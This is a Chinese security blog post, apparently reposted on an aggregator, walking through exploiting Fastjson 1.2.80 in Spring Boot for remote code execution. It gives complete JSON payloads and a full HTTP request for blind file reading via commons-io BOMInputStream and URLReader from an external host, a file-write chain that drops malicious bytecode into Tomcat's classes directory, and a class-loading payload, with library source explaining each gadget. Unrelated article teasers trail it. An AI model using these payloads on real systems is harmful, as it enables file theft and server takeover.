spring +fastjson 的 rce

news/2024/11/30 4:48:03/

前言

众所周知,spring 下是不可以上传 jsp 的木马来 rce 的,一般都是控制加载 class 或者 jar 包来 rce 的,我们的 fastjson 的高版本正好可以完成这些,这里来简单分析一手

环境搭建

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId>
</dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>
</dependency><dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.2</version>
</dependency>
<dependency><groupId>org.aspectj</groupId><artifactId>org.eclipse.jdt.core</artifactId><version>1.9.22</version>
</dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.80</version>
</dependency>

大概是这些
然后写一个解析 json 的路由就 ok 了
然后可以直接用
https://github.com/luelueking/CVE-2022-25845-In-Spring

spring 加载 class 原理

一个 spring 运行后大部分类都不会加载了,但是任然有一些特别的
比如 tomcat-docbase

这个原理的话,如果学习过 spi 机制的话,其实还是有点像的
启动 docker 后我们的 tmp 目录一定会有一个
/tomcat-docbase........后面内容是随机的
如果在/tmp/tomcat-docbase....../WEB-INF/classes/
下有我们的恶意 class,那么就会加载它,但是随机目录名给我们利用造成了很大的困难,所以读取文件就非常重要了,那分析分析 fastjson 读取文件是如何来读取的

fastjson 的利用

fastjson 读取文件

本地测试的话大家可以在服务器或者本地放一个文件

root@VM-16-17-ubuntu:/var/www/html# cat 1.txt
flag{yes}

然后使用如下的 paylaod

{"a": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://ip/1.txt"},"charsetName": "UTF-8","bufferSize": "1024"},"boms": [{"charsetName": "UTF-8","bytes":[102]}]},"boms": [{"charsetName": "UTF-8","bytes": [1]}]},"b": {"$ref":"$.a.delegate"}
}

然后发送如下的请求

POST /json HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.1.0; MAIN_MENU_COLLAPSE=false
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2141json=%7b%0a%20%20%22%61%22%3a%20%7b%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%52%65%61%64%65%72%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%20%20%22%72%65%61%64%65%72%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%64%6b%2e%6e%61%73%68%6f%72%6e%2e%61%70%69%2e%73%63%72%69%70%74%69%6e%67%2e%55%52%4c%52%65%61%64%65%72%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%34%39%2e%32%33%32%2e%32%32%32%2e%31%39%35%2f%31%2e%74%78%74%22%0a%20%20%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%75%66%66%65%72%53%69%7a%65%22%3a%20%22%31%30%32%34%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%5b%31%30%32%5d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%5d%0a%20%20%20%20%7d%2c%0a%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%20%5b%31%5d%0a%20%20%20%20%20%20%7d%0a%20%20%20%20%5d%0a%20%20%7d%2c%0a%20%20%22%62%22%3a%20%7b%22%24%72%65%66%22%3a%22%24%2e%61%2e%64%65%6c%65%67%61%74%65%22%7d%0a%7d

注意需要编码

回显如下

HTTP/1.1 200 
Content-Type: application/json
Date: Fri, 15 Nov 2024 07:16:59 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 116{"a":{"bomcharsetName":null,"bom":null},"b":{"bomcharsetName":"UTF-8","bom":{"charsetName":"UTF-8","bytes":"Zg=="}}}

其中 Zg== 解码就是我们读取的内容

然后简单讲讲 paylaod,其实如果你直接发送这个 paylaod 应该是不行的,因为在 fastjson1.2.80 的话不接受 InputStream 的,所以在这之前我们需要先把这个类加入我们的缓存中

{"a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }","b": {"$ref": "$.a.a"},"c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}","d": {"$ref": "$.c.c"}
}

原理以前已经分析过了,这一段 paylaod 就是为了把 InputStream 加入缓存

然后我们看看读文件的原理

org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和 getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个 InputStream 类型的参数 delegete 和一个 ByteOrderMark 类型的数组
主要看下面的代码

public ByteOrderMark getBOM() throws IOException {if (this.firstBytes == null) {this.fbLength = 0;int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();this.firstBytes = new int[maxBomSize];for(int i = 0; i < this.firstBytes.length; ++i) {this.firstBytes[i] = this.in.read(); ++this.fbLength;if (this.firstBytes[i] < 0) {break;}}this.byteOrderMark = this.find(); if (this.byteOrderMark != null && !this.include) {if (this.byteOrderMark.length() < this.firstBytes.length) {this.fbIndex = this.byteOrderMark.length();} else {this.fbLength = 0;}}}return this.byteOrderMark;}private ByteOrderMark find() {Iterator var1 = this.boms.iterator();ByteOrderMark bom;do {if (!var1.hasNext()) {return null;}bom = (ByteOrderMark)var1.next();} while(!this.matches(bom));return bom;}private boolean matches(ByteOrderMark bom) {for(int i = 0; i < bom.length(); ++i) {if (bom.get(i) != this.firstBytes[i]) {return false;}}return true;}

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的 delegte 是什么呢?
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {this.reader = reader;this.encoder = encoder;this.encoderIn = CharBuffer.allocate(bufferSize);this.encoderIn.flip();this.encoderOut = ByteBuffer.allocate(128);this.encoderOut.flip();}

这是它的构造方法,是一个 reader,我们就看那个函数的名字,就是把我们的 reader 传为 in 或者 out 的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取 char 的范围,然后 this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个 reader 看到下一个类 URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

可以说和 sql 的盲注一模一样了

这也是为什么我的 paylaod 中 byte 为 102 的原因,对应的是 f,和文件内容 flag...对得上

写文件

这个写文件的 paylaod 比较复杂

必不可少的依赖就是

<dependency>    <groupId>commons-io</groupId>    <artifactId>commons-io</artifactId>    <version>2.7</version></dependency>

几乎写文件的链子都是围绕我们这个依赖展开的,而且这个依赖非常的常见

paylaod

{"a": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.AutoCloseInputStream","in": {"@type": "org.apache.commons.io.input.TeeInputStream","input": {"@type": "org.apache.commons.io.input.CharSequenceInputStream","cs": {"@type": "java.lang.String","value": "恶意字节码"},"charset": "iso-8859-1","bufferSize": 1024},"branch": {"@type": "org.apache.commons.io.output.WriterOutputStream","writer": {"@type": "org.apache.commons.io.output.LockableFileWriter","file": "写入路径","charset": "iso-8859-1","append": true},"charsetName": "iso-8859-1","bufferSize": 1024,"writeImmediately": true},"closeBranch": true}},"b": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "org.apache.commons.io.input.XmlStreamReader","inputStream": {"$ref": "$.a"},"httpContentType": "text/xml","lenient": false,"defaultEncoding": "iso-8859-1"},"charsetName": "iso-8859-1","bufferSize": 1024},"c": {"@type": "java.io.InputStream","@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "org.apache.commons.io.input.XmlStreamReader","inputStream": {"$ref": "$.a"},"httpContentType": "text/xml","lenient": false,"defaultEncoding": "iso-8859-1"},"charsetName": "iso-8859-1","bufferSize": 1024}
}

XmlStreamReader
我们观察他的构造函数

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {this.defaultEncoding = defaultEncoding;BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);this.reader = new InputStreamReader(pis, this.encoding);}

重点就是 doHttpStream 方法最终会调用到 InputStream.read 方法

XmlStreamReader.<init>(InputStream, String, boolean, String)XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
BOMInputStream.getBOMCharsetName()BOMInputStream.getBOM()
BufferedInputStream.read()BufferedInputStream.fill()InputStream.read(byte[], int, int)

但是我们如果要写文件,需要的是 Output 类型的流,这里就用到了一个神奇的类

TeeInputStream

public TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) {super(input);this.branch = branch;this.closeBranch = closeBranch;}

可以看到是接受输出和输入流的,我们看到他的 read 方法

public int read() throws IOException {int ch = super.read();if (ch != -1) {branch.write(ch);}return ch;}

把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用 input 流来写文件了

通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。

但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个 input 对象

利用的是
ReaderInputStream + CharSequenceReader

ReaderInputStream.read--> ReaderInputStream. fillBuffer

private void fillBuffer() throws IOException {if (!this.endOfInput && (this.lastCoderResult == null || this.lastCoderResult.isUnderflow())) {this.encoderIn.compact();int position = this.encoderIn.position();int c = this.reader.read(this.encoderIn.array(), position, this.encoderIn.remaining());if (c == -1) {this.endOfInput = true;} else {this.encoderIn.position(position + c);}this.encoderIn.flip();}this.encoderOut.compact();this.lastCoderResult = this.encoder.encode(this.encoderIn, this.encoderOut, this.endOfInput);this.encoderOut.flip();
}

CharSequenceReader.read

public int read(char[] array, int offset, int length) {if (this.idx >= this.end()) {return -1;} else {Objects.requireNonNull(array, "array");if (length >= 0 && offset >= 0 && offset + length <= array.length) {int count;if (this.charSequence instanceof String) {count = Math.min(length, this.end() - this.idx);((String)this.charSequence).getChars(this.idx, this.idx + count, array, offset);this.idx += count;return count;} else if (this.charSequence instanceof StringBuilder) {count = Math.min(length, this.end() - this.idx);((StringBuilder)this.charSequence).getChars(this.idx, this.idx + count, array, offset);this.idx += count;return count;} else if (this.charSequence instanceof StringBuffer) {count = Math.min(length, this.end() - this.idx);((StringBuffer)this.charSequence).getChars(this.idx, this.idx + count, array, offset);this.idx += count;return count;} else {count = 0;for(int i = 0; i < length; ++i) {int c = this.read();if (c == -1) {return count;}array[offset + i] = (char)c;++count;}return count;}} else {throw new IndexOutOfBoundsException("Array Size=" + array.length + ", offset=" + offset + ", length=" + length);}}
}

加载 class

这个 payload 就比较简单了

{"@type":"java.lang.Exception","@type":"恶意类的名称,带上包名"
}

这是因为第一次类是 Exception,然后会来到 deserialze:77, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)

所以再次进入 checkAutoType 的时候 expectClass 不为空

最后

感觉 fastjson 以前的版本的绕过真的是很妙,特别是写文件的 payload,还可以取看看 1.2.68 的那部分,写文件的绕过更是精彩


http://www.ppmy.cn/news/1551102.html

相关文章

laravel中队列使用

Laravel 提供了强大的队列系统&#xff0c;允许开发者将耗时任务推送到后台执行&#xff0c;从而提升系统性能和用户体验。本文将从基本使用到深入解析&#xff0c;结合单进程队列的特点&#xff0c;完整地介绍 Laravel 队列的使用。 队列的作用和场景* 在 Web 开发中&#x…

C#里怎么样使用LINQ的let关键字实现查询?

C#里怎么样使用LINQ的let关键字实现查询? 在C#中,let关键字是用来在查询表达式中声明一个范围变量的。范围变量是在迭代过程中保存查询产生的序列中的元素的临时变量。 以下是一个使用let关键字的示例代码: /** C# Program to Implement Let Condition using LINQ*/ usi…

ubuntu客户端使用飞牛云的smb服务端共享,和ftp记录

ubuntu smb客服端链接 在Ubuntu上设置SMB客户端连接到SMB服务器&#xff0c;你可以使用smbclient工具或者挂载共享目录。以下是使用smbclient和挂载的简单示例&#xff1a; 使用smbclient连接SMB服务器 安装smbclient&#xff1a; sudo apt-update sudo apt-get install smbcli…

Vue Promise的使用,界面使用异步线程循环执行方法(模拟线程)

目录 1.定义开始和退出标识 2.定义开始方法--异步 3.定义循环方法&#xff0c;以及控制规则 4.定义业务方法 1.定义开始和退出标识 为的是能控制开始和结束&#xff0c;记得销毁时要结束循环&#xff0c;否则方法会一直被执行 data() {return {isrunning: false, // 轮询…

第四十二篇 EfficientNet:重新思考卷积神经网络的模型缩放

文章目录 摘要1、简介2、相关工作3、复合模型缩放3.1、 问题公式化3.2、扩展维度3.3、复合比例 4、EfficientNet架构5、实验5.1、扩展MobileNets和ResNets5.2、EfficientNet的ImageNet结果5.3、EfficientNet的迁移学习结果 6、讨论7、结论 摘要 卷积神经网络(ConvNets)通常在固…

element-ui 中el-calendar 日历插件获取显示的第一天和最后一天【原创】

需要获取el-calendar 日历组件上的第1天和最后一天。可以通过document.querySelector()方法进行获取dom元素中的值&#xff0c;这样避免计算问题。 获取的过程中主要有两个难点&#xff0c;第1个是处理上1月和下1月的数据&#xff0c;第2个是跨年的数据。 直接贴代码&#xff…

基于Matlab SIR模型的传染病动态模拟与扩展研究

SIR模型作为流行病学领域的经典模型&#xff0c;在研究传染病传播规律和动态变化方面发挥了重要作用&#xff0c;为分析疾病在特定人群中的传播趋势提供了理论基础和工具支持。然而&#xff0c;传统的SIR模型假设人口总数不变且免疫力永久有效&#xff0c;在面对实际复杂的疫情…

Python基础学习-12匿名函数lambda和map、filter

目录 1、匿名函数&#xff1a; lambda 2、Lambda的参数类型 3、map、 filter 4、本节总结 1、匿名函数&#xff1a; lambda 1&#xff09;语法&#xff1a; lambda arg1, arg2, …, argN : expression using arg 2&#xff09; lambda是一个表达式&#xff0c;而不是一个语…